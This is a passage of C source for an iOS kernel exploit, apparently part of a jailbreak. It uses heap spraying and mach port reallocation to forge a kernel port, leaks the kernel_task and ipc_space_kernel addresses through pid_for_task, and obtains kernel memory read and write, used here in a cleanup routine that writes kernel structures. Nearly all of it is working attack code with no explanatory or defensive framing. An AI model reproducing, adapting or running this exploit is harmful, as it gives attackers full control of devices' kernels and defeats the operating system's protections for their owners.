|
LOG("kernel_task address: 0x%08lx", kernel_task_addr); |
|
|
|
|
|
*ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET; |
|
|
memset(tst, 0x44, sizeof(tst)); |
|
|
for (int i=0; i<2; i++) { |
|
|
kpbuf[i] = kport[i]; |
|
|
} |
|
|
|
|
|
usleep(10000); |
|
|
sched_yield(); |
|
|
mach_port_destroy(mach_task_self(), fakeportData); |
|
|
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); |
|
|
printf("done realloc2\n"); |
|
|
|
|
|
|
|
|
|
|
|
uintptr_t ipc_space_kernel_addr = 0; |
|
|
OUT(pid_for_task(fake_port, &ipc_space_kernel_addr)); |
|
|
LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr); |
|
|
|
|
|
if (ipc_space_kernel_addr == kernel_task_addr) { |
|
|
printf("Error: failed to leak pointers\n"); |
|
|
goto out; |
|
|
} |
|
|
|
|
|
kport->ip_receiver = ipc_space_kernel_addr; |
|
|
kport->ip_kobject = kernel_task_addr; |
|
|
memset(tst, 0x45, sizeof(tst)); |
|
|
for (int i=0; i<2; i++) { |
|
|
kpbuf[i] = kport[i]; |
|
|
} |
|
|
|
|
|
OUT(spray_data(tst, sizeof(tst), 10, &postSpray)); |
|
|
mach_port_destroy(mach_task_self(), postSpray); |
|
|
printf("done postspray\n"); |
|
|
|
|
|
usleep(10000); |
|
|
sched_yield(); |
|
|
mach_port_destroy(mach_task_self(), fakeportData); |
|
|
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); |
|
|
printf("done realloc3\n"); |
|
|
|
|
|
resume_all_threads(); |
|
|
|
|
|
return fake_port; |
|
|
out: |
|
|
if(MACH_PORT_VALID(fake_port)) |
|
|
{ |
|
|
ret = send_ports(sanity_port, fake_port, 1, 1); |
|
|
if(ret == KERN_SUCCESS) |
|
|
{ |
|
|
fake_port = MACH_PORT_NULL; |
|
|
printf("Exploit failed, retrying...\n"); |
|
|
goto again; |
|
|
} |
|
|
printf("send_ports(): %s\n", mach_error_string(ret)); |
|
|
} |
|
|
printf("Error: exploit failed :(\n"); |
|
|
return MACH_PORT_NULL; |
|
|
} |
|
|
|
|
|
uintptr_t kbase(){ |
|
|
return 0x80001000 + kslide; |
|
|
} |
|
|
|
|
|
#if 0 |
|
|
void exploit(){ |
|
|
mach_port_t taskHacked = get_kernel_task(); |
|
|
uintptr_t kbase = 0x80001000 + kslide; |
|
|
printf("got kerneltask!\n"); |
|
|
printf("kbase=%p\n",(void*)kbase); |
|
|
|
|
|
char kdata[0x100]; |
|
|
memset(kdata, 0, 0x100); |
|
|
vm_size_t bytesRead=0x100; |
|
|
|
|
|
kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead); |
|
|
printf("vm_read_overwrite=0x%08x\n",kr); |
|
|
|
|
|
printf("DONE!!!\n"); |
|
|
} |
|
|
#endif |
|
|
|
|
|
void exploit_cleanup(task_t kernel_task, vm_address_t myprocessaddr) |
|
|
{ |
|
|
kern_return_t ret; |
|
|
|
|
|
vm_address_t mytaskaddr = 0; |
|
|
vm_size_t size = sizeof(mytaskaddr); |
|
|
OUT(vm_read_overwrite(kernel_task, myprocessaddr+12, size, (vm_address_t)&mytaskaddr, &size)); |
|
|
printf("mytaskaddr = 0x%08x\n", mytaskaddr); |
|
|
|
|
|
#pragma pack(4) |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
mach_msg_body_t msgh_body; |
|
|
mach_msg_ool_ports_descriptor_t init_port_set[1]; |
|
|
mach_msg_trailer_t trailer; |
|
|
} Reply; |
|
|
#pragma pack() |
|
|
Reply reply; |
|
|
|
|
|
while(1) |
|
|
{ |
|
|
ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL); |
|
|
if(ret != KERN_SUCCESS) |
|
|
{ |
|
|
printf("cleanup done\n"); |
|
|
break; |
|
|
} |
|
|
mach_port_t *port = reply.init_port_set[0].address; |
|
|
|
|
|
printf("Unregistering port %x...\n", *port); |
|
|
mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port }; |
|
|
OUT(r3gister(mach_task_self(), arr, 3, 3)); |
|
|
uintptr_t zero = 0; |
|
|
OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero))); |
|
|
} |
|
|
|
|
|
out:; |
|
|
} |